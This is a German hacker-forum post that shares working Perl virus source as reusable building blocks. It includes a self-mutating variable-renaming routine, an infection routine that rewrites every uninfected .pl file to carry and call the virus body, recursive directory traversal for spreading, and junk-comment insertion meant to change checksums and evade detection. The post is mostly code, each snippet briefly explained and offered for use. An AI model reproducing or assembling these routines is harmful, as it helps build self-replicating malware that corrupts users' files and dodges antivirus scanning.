Ergebnis 1 bis 1 von 1
  1. #1
    Neuling
    Registriert seit
    13.12.2011
    Beiträge
    2

    Standard Codestücke für Viren

    Hi
    ich bin neu hier und ich weiß, dass Perl-Viren nicht das wahre sind. Trotzdem funktionieren sie, also schreib ich hier ein paar brauchbare Codes von mir rein.

    Varchange:
    Code:
    sub varchange{
        @case = ("A".."Z","a".."z","0".."9");
        @change = ("case", "change", "var", "myself", "line", "varchange", "virii", "count");
        @var;
        for ($count = 0;$count < scalar(@change); $count++){
            $var[$count] = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))];
        }
        open(virii, "<", "$0");
        @myself = <virii>;
        close(virii);
        open(virii, ">", "$0");
        foreach $line (@myself){
            for($count = 0; $count < scalar(@change); $count++){
                $line =~ s/$change[$count]/$var[$count]/;
            }
            print virii $line;
        }
        close(virii);
    }
    Das Programm liest sich selbst ein und sucht jede Zeile nach den Strings aus @change ab. Die Strings werden dann durch zufällig generierte Strings ersetzt. (Idee und erste Umsetzung by Perfoin, Einfachere Umsetzung [Schleifen usw.] by me)

    Perl Infection Routine:
    Code:
    #!/usr/bin/perl
    
    sub viri{
    
        sub perlInfect {        # *.pl Dateien infizieren
            @case = ("A".."Z","a".."z","0".."9");
            $call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))];
            foreach $pl ( glob("*.pl") ) {
                if ( isInfected($pl) == 0) {
                    open(me, $0);
                    open(target, "<", "$pl");
                    $_ = <target>;
                    $_ = <target>;
                    $new = $1 . "#!/usr/bin/perl               \n\&$call\(\)\n" . $_;
                    while ( <target> ) { $new = $new . $_; }
                    seek(me, 0, 0);
                    while ( <me> ne "sub viri\{\n" ) { };
                    $new = $new . "\nsub $call\{\n";
                    while ( <me> ) { $new = $new . $_; }
                    close(target);
                    open(target, ">", $pl);
                    print target $new;
                    close(target);
                    close(me);
                }
            }
        }
    
        sub isInfected{            # auf Infection prüfen
            $file = $_[0];
            open(pl, "<", $file);
            @perl = <pl>;
            close(pl);
            return $perl[0] =~ /               /;
        }
    
        sub foldInfect{            # Ordner infizieren
            chdir('..');
            chdir('..');
            foreach $dirs (<*>) {
                if ((-r $dirs) && (-w $dirs) && (-d $dirs)) {
                    chdir ($dirs);
                    &perlInfect();
                    chdir('..');
                }
            }
        }
    
    }
    Das Infection-Mark sind 6 Leerzeichen in der ersten Zeile. Jede Perl Datei im aktuellen Ordner wird geöffnet und überprüft, ob sie schon infiziert ist. Ist dies nicht der der Fall, wird in eine neue Variable Die erste Zeile MIT Infection-Mark geschrieben, in die nächste Zeile ein Aufruf für eine zufällige Subroutine (zufällig im Sinne von zufälliger Name). Dann wird der zu infizierende Code in die Variable geschrieben und der Virus-Code als Subroutine mit oben genanntem zufälligem Namen ans Ende der Datei geschrieben. (by me)

    Ordnerstruktur durcharbeiten (rekrussiv):
    Manchmal will man ja nicht nur Dateien im aktuellen Ordner infizieren.
    Code:
    sub foldInfect{
        foreach $dirs (<*>) {
            if ((-r $dirs) && (-w $dirs) && (-d $dirs)) {
                chdir ($dirs);
                #auszuführende Funktionen
                            &foldInfect();
                chdir('..');
            }
        }
    }
    (by me)

    Trashcode:
    Code:
    sub trash{
        open(vir, "<", "$0");
        @myself = <vir>;
        close(vir);
        open(me, ">", "$0");
        foreach $line (@myself){
            $zahl1 = int( rand(501) );
            $zahl2 = int( rand(501) );
            print me $line;
            print me "#$zahl1\n";
            print me "#$zahl2\n";
        }
        close(me);
    }
    In jede 2te Zeile wird "TrashCode" in Form eines Kommentars eingefügt. Also kein wirklicher TrashCode aber die Checksumme ändert sich (by Perfoin)


    mfg poll9797


    Edit: manche stellen werden als PHP-Code falsch dargestellt, also muss man auf Syntax-Hilighting verzichten
    Geändert von poll9797 (13.12.2011 um 23:33 Uhr)

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    rashidali (13.12.2011)

Ähnliche Themen

  1. Viren auf usb-Stick ?^^
    Von Diego100 im Forum Erkennung & Hilfe
    Antworten: 27
    Letzter Beitrag: 25.05.2010, 23:48
  2. handy viren
    Von megahacker im Forum Mobile Devices
    Antworten: 10
    Letzter Beitrag: 15.02.2009, 18:49
  3. IRC Viren
    Von PCKING im Forum Biete Tutorials
    Antworten: 0
    Letzter Beitrag: 10.12.2005, 20:02
  4. viren programmieren
    Von HurricanX im Forum Biete Tutorials
    Antworten: 0
    Letzter Beitrag: 06.08.2004, 14:23

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •